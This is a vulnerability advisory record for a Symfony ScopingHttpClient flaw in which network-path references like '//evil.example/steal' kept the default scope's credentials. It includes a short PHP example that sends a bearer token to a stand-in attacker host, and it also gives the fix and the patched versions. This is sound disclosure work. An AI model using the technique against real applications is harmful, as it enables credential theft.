{"id":"CVE-2026-121971","aliases":["GHSA-gq53-v8w2-gjhj"],"url":"https://o3.security/vulnerability/CVE-2026-121971","summary":"Symfony: ScopingHttpClient Sends the Credentials of Its Default Scope to Other Origins Through Network-Path References","details":"### Description\n\n`ScopingHttpClient` applies the options of a scope, such as `auth_bearer`, `auth_basic`, `headers` or `local_cert`, to the URLs that match that scope only. A relative URL is resolved against the `base_uri` of the default scope, and the options of that scope were merged before the URL was resolved. A network-path reference such as `//evil.example/steal` carries its own host: it resolves to a URL outside of the base URI's origin, which no scope matches, yet it kept the merged options, so the request was sent to that host with the credentials of the default scope. The absolute spelling of the same URL, `https://evil.example/steal`, gets none of them.\n\n```php\n$client = ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', [\n    'auth_bearer' => 'secret',\n]);\n\n$client->request('GET', '//evil.example/steal'); // sent to evil.example with \"Authorization: Bearer secret\"\n```\n\nThis is how `HttpClient::createForBaseUri()` builds its client, and how the scoped clients configured with a `base_uri` under `framework.http_client.scoped_clients` are built. An application is exposed when an attacker controls the beginning of a URL passed to such a client, for example a path taken from user input or a URL taken from a remote API response. The same happened for another port or a user-info part on the same host, and when the resolved URL matched another scope, the credentials of the default scope were sent instead of that scope's own.\n\n### Resolution\n\nAfter resolving a relative URL against the base URI of the default scope, `ScopingHttpClient` now compares the scheme and authority of the result with those of the base URI, parsed the way the request is sent. When they differ, the options of the default scope are dropped and the URL is matched against the scopes as if it had been passed in its absolute form. Relative URLs that stay on the scheme and authority of the base URI keep the options, including those that resolve outside of its path.\n\nThe user-info part counts as part of the authority: `//user@api.example.com/` does not receive the options of the default scope anymore.\n\nThe patches for this issue are available [here](https://github.com/symfony/symfony/commit/64c34e85bd03b3f8a735d8e1af393659dda91d7c) for branch 5.4 (and forward-ported to 6.4, 7.4, 8.1 and 8.2).\n\n### Credits\n\nSymfony would like to thank [Thomas Chauchefoin](https://github.com/thomas-chauchefoin-tob) from Trail of Bits for reporting the issue and Nicolas Grekas for providing the fix.\n\nSymfony would also like to thank [Bruno Dias](https://github.com/cx-bruno-dias) and [Catarina Amorim](https://github.com/cx-catarina-amorim) from Checkmarx for their help getting a CVE assigned.","published":"2026-11-04T17:43:34.806Z","modified":"2026-11-10T10:46:23.663321735Z","cvss":null,"epss":{"score":0.00312,"percentile":0.25994,"asOf":"2026-12-01"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"symfony/http-client","fixedVersion":"5.4.56"},{"ecosystem":"Packagist","name":"symfony/http-client","fixedVersion":"6.4.50"},{"ecosystem":"Packagist","name":"symfony/http-client","fixedVersion":"7.4.23"},{"ecosystem":"Packagist","name":"symfony/http-client","fixedVersion":"8.1.11"},{"ecosystem":"Packagist","name":"symfony/symfony","fixedVersion":"5.4.56"},{"ecosystem":"Packagist","name":"symfony/symfony","fixedVersion":"6.4.50"},{"ecosystem":"Packagist","name":"symfony/symfony","fixedVersion":"7.4.23"},{"ecosystem":"Packagist","name":"symfony/symfony","fixedVersion":"8.1.11"}],"fix":{"url":"https://github.com/symfony/symfony/commit/64c34e85bd03b3f8a735d8e1af393659dda91d7c","label":"symfony/symfony@64c34e8"},"references":[{"type":"WEB","url":"https://packagist.org/packages/symfony/http-client"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/121xxx/CVE-2026-121971.json"},{"type":"ADVISORY","url":"https://github.com/symfony/symfony/security/advisories/GHSA-gq53-v8w2-gjhj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-121971"},{"type":"FIX","url":"https://github.com/symfony/symfony/commit/64c34e85bd03b3f8a735d8e1af393659dda91d7c"},{"type":"PACKAGE","url":"https://github.com/symfony/http-client"},{"type":"WEB","url":"https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/http-client/CVE-2026-121971.yaml"},{"type":"WEB","url":"https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-121971.yaml"},{"type":"PACKAGE","url":"https://github.com/symfony/symfony"},{"type":"WEB","url":"https://github.com/symfony/symfony/releases/tag/v5.4.56"},{"type":"WEB","url":"https://github.com/symfony/symfony/releases/tag/v6.4.50"},{"type":"WEB","url":"https://github.com/symfony/symfony/releases/tag/v7.4.23"},{"type":"WEB","url":"https://github.com/symfony/symfony/releases/tag/v8.1.11"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-10T10:46:23.663321735Z"}}